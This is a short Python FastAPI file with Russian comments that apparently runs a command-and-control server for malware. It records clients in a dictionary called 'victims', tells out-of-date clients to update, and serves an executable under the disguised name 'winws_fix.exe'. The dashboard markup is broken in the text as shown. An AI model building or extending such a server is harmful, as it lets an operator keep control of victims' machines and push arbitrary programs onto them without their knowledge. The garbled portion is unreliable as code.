from fastapi import FastAPI, Request from fastapi.responses import HTMLResponse, FileResponse from pydantic import BaseModel import time, os app = FastAPI() victims = {} # Текущая версия софта. Если у клиента меньше — он обновится. LATEST_VERSION = "2.0" class Report(BaseModel): user: str version: str action: str @app.get("/", response_class=HTMLResponse) def dashboard(): html = "
[{data['time']}] {u} (v{data['ver']}): {data['status']} | FORCE UPDATE
" html += "" return html @app.post("/report") async def report(data: Report): victims[data.user] = {"ver": data.version, "status": data.action, "time": time.ctime()} # Если на сервере версия выше, шлем команду на апдейт if float(data.version) < float(LATEST_VERSION): return {"cmd": "update", "url": "/download_update"} return {"cmd": "idle"} @app.get("/download_update") def download(): # Положи свой новый скомпилированный .exe в ту же папку на HF под именем 'update.exe' return FileResponse("update.exe", filename="winws_fix.exe")